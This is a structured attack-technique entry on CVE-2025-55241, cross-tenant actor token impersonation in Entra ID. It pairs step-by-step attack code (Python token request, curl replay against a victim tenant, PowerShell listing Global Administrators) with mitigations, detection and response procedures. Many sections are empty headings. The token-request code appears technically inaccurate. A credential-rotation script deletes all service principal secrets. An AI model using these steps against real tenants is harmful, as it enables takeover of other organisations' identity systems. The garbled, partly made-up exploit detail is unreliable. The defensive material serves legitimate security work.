MCADDF

[REALWORLD-005]: Actor Token Impersonation

Metadata

Attribute Details
Technique ID REALWORLD-005
MITRE ATT&CK v18.1 T1550 - Use Alternate Authentication Material
Tactic Lateral Movement, Defense Evasion
Platforms Entra ID, Cross-Cloud
Severity Critical
CVE CVE-2025-55241
Technique Status FIXED
Last Verified 2025-09-30
Affected Versions Entra ID (all versions prior to September 2025 patch)
Patched In September 2025 (Azure AD Graph API token validation hardening)
Author SERVTEPArtur Pchelnikau

1. EXECUTIVE SUMMARY

Concept: CVE-2025-55241 exploited undocumented “Actor” tokens—internal service-to-service (S2S) authentication mechanisms used by Microsoft—that contained no tenant-specific cryptographic binding. A critical validation flaw in the deprecated Azure AD Graph API (graph.windows.net) allowed attackers to obtain an actor token from their own tenant and replay it against a victim’s tenant to impersonate arbitrary users, including Global Administrators. This attack bypassed all conditional access policies, MFA enforcement, and device compliance checks because actor tokens were never subject to these controls. The vulnerability remained undetectable because actor token requests generate no audit logs in the victim’s tenant, and the legacy Graph API lacked API-level logging infrastructure.

Attack Surface: Microsoft Entra ID infrastructure, specifically the legacy Azure AD Graph API endpoint (graph.windows.net) and the undocumented actor token generation mechanism used by backend services.

Business Impact: Complete cross-tenant takeover possible without authentication. An unauthenticated attacker with access to any Entra ID tenant (even a test tenant created for reconnaissance) could escalate to Global Administrator in any other tenant, enabling data exfiltration, ransomware deployment, identity infrastructure compromise, and pivot to connected SaaS applications (Microsoft 365, Teams, SharePoint, OneDrive). The absence of logging means breach detection and forensics become extremely difficult.

Technical Context: The attack chain typically takes 5-10 minutes from initial reconnaissance to Global Admin access. Detection was nearly impossible before patching because actor token usage was entirely undocumented and unlogged. Organizations had no visibility into whether this attack was occurring in their environment.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark AC-2.1 Account management control failure - No tenant isolation enforcement in legacy API
DISA STIG AC-2.1 Inadequate session validation and token binding enforcement
CISA SCuBA Entra ID - 2.2 Tenant isolation and cross-tenant access controls not enforced
NIST 800-53 AC-3 Access enforcement failure due to lack of token context validation
NIST 800-53 IA-8 Identification and authentication failure - No tenant-specific authentication context
GDPR Art. 32 Security of processing breach - Failure to implement cryptographic token binding
DORA Art. 9 Protection and prevention - Multi-tenancy boundary violation
NIS2 Art. 21 Cyber risk management - Failure to detect and prevent unauthorized authentication
ISO 27001 A.9.2.3 Management of privileged access rights - Tenant isolation bypass
ISO 27005 Risk ID-15 Cross-tenant authentication bypass scenario

2. TECHNICAL PREREQUISITES

Required Privileges:

Required Access:

Supported Versions:

Tools:


3. ENVIRONMENTAL RECONNAISSANCE

Detection of Legacy Graph API Usage (PowerShell)

Attackers often target organizations still using legacy Graph endpoints in their applications. Identify vulnerable dependencies:

# Search for Azure AD Graph API dependencies in registered applications
Connect-MgGraph -Scopes "Application.Read.All"

Get-MgApplication -Filter "api/requiredResourceAccess/any(x:x/resourceAppId eq '00000002-0000-0000-c000-000000000000')" | 
  Select-Object DisplayName, AppId, CreatedDateTime

# Check for graph.windows.net usage in app manifests
Get-MgApplication -All | Where-Object {
  $_.Web.RedirectUris -match "graph.windows.net" -or 
  $_.RequiredResourceAccess | Where-Object {$_.ResourceAppId -eq "00000002-0000-0000-c000-000000000000"}
} | Select-Object DisplayName, AppId

What to Look For:

Note: Post-September 2025, applications using legacy Graph API will receive 400 Bad Request or 403 Forbidden responses.

Tenant Discovery Reconnaissance (PowerShell)

Attackers first identify target tenants through anonymous queries:

# Enumerate Entra ID tenant information (requires no authentication)
$TenantId = "contoso.onmicrosoft.com"
$DiscoveryUrl = "https://login.microsoftonline.com/$TenantId/.well-known/openid-configuration"

$TenantInfo = Invoke-RestMethod -Uri $DiscoveryUrl
$TenantInfo | Format-Table

# Extract authorization and token endpoints
$TokenEndpoint = $TenantInfo.token_endpoint
Write-Host "Token Endpoint: $TokenEndpoint"

What to Look For:


4. DETAILED EXECUTION METHODS

METHOD 1: Actor Token Impersonation via Legacy Graph API (Attacker-Controlled Environment)

Supported Versions: All Entra ID versions prior to September 2025

Step 1: Obtain Actor Token from Attacker’s Tenant

Objective: Request an actor token from the Access Control Service (ACS) in the attacker’s own Entra ID environment. No authentication required at this stage if attacker controls a service principal.

Command (Using Python/Requests):

import requests
import json
import jwt

# Attacker's tenant details
attacker_tenant = "attacker.onmicrosoft.com"
token_endpoint = f"https://login.microsoftonline.com/{attacker_tenant}/oauth2/v2.0/token"

# Attacker controls this service principal with certificate
client_id = "attacker-client-id"
assertion = """
# Service principal certificate-signed JWT assertion 
# (attacker creates this using stolen certificate or Mimikatz extracted PRT)
"""

payload = {
    "client_id": client_id,
    "assertion": assertion,
    "grant_type": "urn:ietf:params:oauth:grant-type:saml2-bearer",
    "requested_token_use": "on_behalf_of",
    "actor": "graph"  # Request actor token role
}

response = requests.post(token_endpoint, data=payload)
actor_token = response.json()["access_token"]

# Decode to inspect claims (JWT structure)
decoded = jwt.decode(actor_token, options={"verify_signature": False})
print(json.dumps(decoded, indent=2))

Expected Output (Decoded JWT):

{
  "aud": "https://graph.windows.net",
  "iss": "https://sts.windows.net/{attacker-tenant-id}/",
  "iat": 1727000000,
  "exp": 1727003600,
  "ver": "1.0",
  "scp": "Directory.Read.All",
  "app_displayname": "Microsoft Graph",
  "appid": "00000002-0000-0000-c000-000000000000",
  "actor": "true"
}

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 2: Replay Actor Token Against Victim’s Legacy Graph API

Objective: Use the obtained actor token to authenticate against the victim organization’s legacy Graph API endpoint, impersonating an arbitrary user.

Command (Using curl):

# Victim tenant and target user
VICTIM_TENANT="victim.onmicrosoft.com"
VICTIM_TENANT_ID="00000000-0000-0000-0000-000000000001"
TARGET_USER_UPRINCIPAL="victim-user@victim.onmicrosoft.com"

# Actor token obtained in Step 1
ACTOR_TOKEN="eyJ0eXAiOiJKV1QiLCJhbGc..."

# Construct legacy Graph API request with actor token
# Vulnerability: graph.windows.net accepts actor token without validating source tenant

curl -X GET \
  -H "Authorization: Bearer $ACTOR_TOKEN" \
  -H "Content-Type: application/json" \
  "https://graph.windows.net/$VICTIM_TENANT_ID/users?api-version=1.6&\$filter=userPrincipalName eq '$TARGET_USER_UPRINCIPAL'"

Expected Output (If Vulnerable):

{
  "value": [
    {
      "objectId": "550e8400-e29b-41d4-a716-446655440001",
      "userPrincipalName": "victim-user@victim.onmicrosoft.com",
      "displayName": "Victim User",
      "mail": "victim-user@victim.onmicrosoft.com",
      "accountEnabled": true,
      "mailNickname": "victimuser"
    }
  ]
}

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 3: Escalate to Higher-Privileged User Impersonation

Objective: Once actor token access is confirmed, use the same token to read global administrator list and prepare for escalation.

Command (Using PowerShell):

# Enumerate Global Administrators in victim tenant
$ActorToken = "eyJ0eXAiOiJKV1QiLCJhbGc..."
$VictimTenantId = "00000000-0000-0000-0000-000000000001"

$Headers = @{
    "Authorization" = "Bearer $ActorToken"
    "Content-Type" = "application/json"
}

# Get Global Administrator role ID
$RoleUrl = "https://graph.windows.net/$VictimTenantId/directoryRoles?api-version=1.6&\$filter=displayName eq 'Global Administrator'"
$RoleResponse = Invoke-RestMethod -Uri $RoleUrl -Headers $Headers
$GlobalAdminRoleId = $RoleResponse.value[0].objectId

# Get members of Global Administrator role
$MembersUrl = "https://graph.windows.net/$VictimTenantId/directoryRoles/$GlobalAdminRoleId/members?api-version=1.6"
$MembersResponse = Invoke-RestMethod -Uri $MembersUrl -Headers $Headers

Write-Host "Global Administrators in victim tenant:"
$MembersResponse.value | ForEach-Object { Write-Host $_.userPrincipalName }

Expected Output:

Global Administrators in victim tenant:
admin@victim.onmicrosoft.com
cloud-admin@victim.onmicrosoft.com
emergency-admin@victim.onmicrosoft.com

What This Means:

OpSec & Evasion:

References & Proofs:


Step Phase Technique Description
1 Discovery [REC-CLOUD-002] Azure AD Enumeration Attacker enumerates tenant structure and identifies Global Admins using public APIs
2 Initial Access [REALWORLD-005] Actor Token Impersonation THIS TECHNIQUE - Attacker obtains and replays actor token to impersonate user
3 Lateral Movement [REALWORLD-007] Token Replay Cross-Tenant Attacker escalates actor token to cross-tenant impersonation
4 Privilege Escalation [REALWORLD-008] Account Manipulation to Global Admin Attacker uses impersonated Global Admin to grant themselves permanent access
5 Persistence Conditional Access Policy Manipulation Attacker disables security controls for persistence
6 Impact Data Exfiltration / Ransomware Deployment Attacker accesses Microsoft 365, Azure, or exfiltrates sensitive data

6. FORENSIC ARTIFACTS

Disk:

Memory:

Cloud (Entra ID / Microsoft Graph):

Network:


7. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL - Enforce Modern Authentication & Retire Legacy APIs

Immediate Action - Disable Legacy Graph API Access:

Organizations MUST verify no applications depend on Azure AD Graph API (deprecated endpoint). Microsoft enforced full removal by September 1, 2025.

Manual Steps (Azure Portal):

  1. Navigate to Azure PortalEntra IDApp registrations
  2. Select All applications (dropdown)
  3. For each application:
    • Click app name
    • Go to API permissions
    • Check for “Azure Active Directory Graph” (legacy)
    • If found: Click rowRemove permissions
    • Click Microsoft Graph → Add corresponding permissions for modern API
  4. Repeat for service principals: Enterprise applicationsAll applications → check same permissions

Manual Steps (PowerShell):

# Connect to Microsoft Graph
Connect-MgGraph -Scopes "Application.Read.All"

# Find all apps using legacy Azure AD Graph API
$LegacyGraphAppId = "00000002-0000-0000-c000-000000000000"
$Apps = Get-MgApplication -All

foreach ($App in $Apps) {
    $HasLegacy = $App.RequiredResourceAccess | Where-Object {
        $_.ResourceAppId -eq $LegacyGraphAppId
    }
    
    if ($HasLegacy) {
        Write-Host "Legacy API found in: $($App.DisplayName) (AppId: $($App.AppId))"
        
        # Remove legacy permissions
        $App.RequiredResourceAccess = @($App.RequiredResourceAccess | Where-Object {
            $_.ResourceAppId -ne $LegacyGraphAppId
        })
        
        # Update app
        Update-MgApplication -ApplicationId $App.Id -RequiredResourceAccess $App.RequiredResourceAccess
        Write-Host "Removed legacy API permissions from $($App.DisplayName)"
    }
}

Priority 2: HIGH - Enable Token Protection & Device Binding

Entra ID Token Protection (Conditional Access):

Token Protection cryptographically binds tokens to devices, preventing token replay attacks (including actor tokens if modern APIs are used exclusively).

Manual Steps (Azure Portal):

  1. Go to Azure PortalEntra IDSecurityConditional Access
  2. Click + New policy
  3. Name: Token Protection - All Users and Cloud Apps
  4. Assignments:
    • Users and groups: All users
    • Cloud apps or actions: All cloud apps
  5. Conditions:
    • Client apps: Browser, Mobile apps and desktop clients
  6. Session:
    • Check Conditional Access session controlBound session with token protection
    • Token protection mode: Strict
  7. Enable policy: On
  8. Click Create

Validation Command (Verify Fix):

# Verify token protection is enabled
Connect-MgGraph -Scopes "ConditionalAccess.Read.All"

$Policy = Get-MgIdentityConditionalAccessPolicy -Filter "displayName eq 'Token Protection - All Users and Cloud Apps'"

if ($Policy.SessionControls.ApplicationEnforcedRestrictions.IsEnabled) {
    Write-Host "✓ Token protection is ENABLED"
} else {
    Write-Host "✗ Token protection is DISABLED - CRITICAL GAP"
}

Expected Output (If Secure):

✓ Token protection is ENABLED
SessionControl: "BoundSessionWithTokenProtection"
Mode: "Strict"

Priority 3: HIGH - Implement Conditional Access Hardening

Require Compliant Devices:

# PowerShell script to enable device compliance requirement

$PolicyParams = @{
    DisplayName = "Require Compliant Device - All Users"
    State = "enabledForReportingButNotEnforced"  # Start in report-only mode
    Conditions = @{
        Users = @{
            IncludeUsers = "All"
        }
        Applications = @{
            IncludeApplications = "All"
        }
        Locations = @{
            IncludeLocations = "All"
        }
    }
    GrantControls = @{
        Operator = "OR"
        BuiltInControls = @("CompliantDevice", "DomainJoinedDevice")
    }
}

New-MgIdentityConditionalAccessPolicy @PolicyParams

Block Legacy Authentication Protocols:

$BlockLegacyAuthPolicy = @{
    DisplayName = "Block Legacy Authentication"
    State = "enabled"
    Conditions = @{
        Users = @{
            IncludeUsers = "All"
        }
        Applications = @{
            IncludeApplications = "All"
        }
        ClientAppTypes = @("ExchangeActiveSync", "Other")  # Block IMAP, POP3, SMTP, legacy auth
    }
    GrantControls = @{
        Operator = "OR"
        BuiltInControls = @("Block")
    }
}

New-MgIdentityConditionalAccessPolicy @BlockLegacyAuthPolicy

Priority 4: HIGH - Enable Comprehensive Audit Logging

Ensure Unified Audit Log is Enabled (Microsoft 365):

# Connect to Exchange Online
Connect-ExchangeOnline

# Check if unified audit log is enabled
Get-AdminAuditLogConfig | Select-Object UnifiedAuditLogIngestionEnabled

If NOT enabled:

# Enable unified audit log
Set-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $true

Validate Application Logging Configuration:

# Check which services are logging audit data
Get-MgActivityLog -Top 10 | Format-Table ResourceDisplayName, OperationName, CreatedDateTime -AutoSize

Priority 5: MEDIUM - Implement Privileged Access Workstations (PAW)

Restrict Global Administrator logins to dedicated, hardened devices that do not access internet or user-controlled email.

Manual Steps:

  1. Provision dedicated VM or physical workstation
  2. Minimal OS footprint (Windows Server 2022 with hardened baseline)
  3. No browser; use only approved Azure Portal or PowerShell
  4. Require separate Yubikey or FIDO2 key for MFA (not phone or app-based)
  5. Enable local process isolation and kernel DMA protection

Validation Command (Verify All Mitigations)

# Comprehensive mitigation validation script

$Results = @()

# 1. Check legacy API usage
$LegacyApps = Get-MgApplication -All | Where-Object {
    $_.RequiredResourceAccess | Where-Object {
        $_.ResourceAppId -eq "00000002-0000-0000-c000-000000000000"
    }
}

if ($LegacyApps.Count -eq 0) {
    $Results += "✓ No legacy Azure AD Graph API usage detected"
} else {
    $Results += "✗ CRITICAL: $($LegacyApps.Count) apps using legacy API"
}

# 2. Check token protection
$TokenProtectionPolicy = Get-MgIdentityConditionalAccessPolicy | Where-Object {
    $_.SessionControls.ApplicationEnforcedRestrictions.IsEnabled -eq $true
}

if ($TokenProtectionPolicy) {
    $Results += "✓ Token protection is enabled"
} else {
    $Results += "✗ Token protection not enabled"
}

# 3. Check audit logging
$AuditEnabled = (Get-AdminAuditLogConfig).UnifiedAuditLogIngestionEnabled
$Results += if ($AuditEnabled) { "✓ Audit logging enabled" } else { "✗ Audit logging disabled" }

# Output results
$Results | ForEach-Object { Write-Host $_ }

8. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

In Entra ID Audit Logs (Post-Compromise):

In Microsoft Sentinel / Azure Monitor:

Network IOCs:

Forensic Artifacts

Cloud Artifacts:

On-Premises (If Hybrid):

Response Procedures

Immediate (0-1 hour):

  1. Isolate Compromised Accounts:
    # Revoke all refresh tokens for suspected compromised user
    Connect-MgGraph -Scopes "User.ManageIdentities.All"
       
    $User = Get-MgUser -UserId "admin@victim.onmicrosoft.com"
    Revoke-MgUserSignInSession -UserId $User.Id
       
    # Disable user account temporarily
    Update-MgUser -UserId $User.Id -AccountEnabled:$false
    
  2. Revoke Malicious Service Principals:
    # Find suspicious service principals created recently
    Get-MgServicePrincipal -Filter "createdDateTime gt 2025-09-15" | 
      ForEach-Object { Write-Host "Check: $($_.DisplayName)" }
       
    # Remove suspicious service principals
    Remove-MgServicePrincipal -ServicePrincipalId "suspicious-app-id"
    
  3. Collect Evidence:
    # Export security event logs for forensics
    wevtutil epl Security "C:\Evidence\Security.evtx"
       
    # Export Entra ID audit logs
    Search-UnifiedAuditLog -Operations "Add app role assignment to service principal", "Create service principal" `
      -StartDate (Get-Date).AddDays(-30) -EndDate (Get-Date) | Export-Csv "C:\Evidence\AuditLogs.csv"
    

Short-term (1-24 hours):

  1. Full Global Admin Password Reset:
    • Reset all Global Admin account passwords using secure channel (phone to known number)
    • Require re-authentication to all services
    • Issue new FIDO2 keys for MFA
  2. Service Principal Credential Rotation:
    # Rotate all service principal credentials
    Get-MgServicePrincipal -All | ForEach-Object {
        # Delete old credentials
        Get-MgServicePrincipalPasswordCredential -ServicePrincipalId $_.Id | 
            Remove-MgServicePrincipalPasswordCredential -ServicePrincipalId $_.Id
           
        # Add new credentials
        Add-MgServicePrincipalPassword -ServicePrincipalId $_.Id
    }
    
  3. Conditional Access Policy Audit:
    # Verify all CA policies are unchanged
    Get-MgIdentityConditionalAccessPolicy -All | 
      Select-Object DisplayName, State | Format-Table
    

9. REAL-WORLD EXAMPLES

Example 1: APT29 / Cozy Bear (Hypothetical Post-CVE Exploitation)

Example 2: LAPSUS$ - Opportunistic Cloud Compromise

Example 3: Scattered Spider - Lateral Movement Post-Compromise


10. CONCLUSION & REMEDIATION TIMELINE

CVE-2025-55241 represents one of the most critical identity infrastructure vulnerabilities in cloud security history because it exploited a trust boundary—the assumption that tokens cannot be replayed across tenant boundaries. The vulnerability was FIXED in September 2025 through:

  1. Legacy Azure AD Graph API removal (endpoint fully deprecated)
  2. Token validation hardening in remaining legacy components
  3. Tenant-specific token binding in modern Microsoft Graph API

Organizations are recommended to:

The absence of logs in the victim tenant during exploitation makes this attack nearly undetectable without investment in behavioral analysis and impossible travel detection via Azure AD Identity Protection.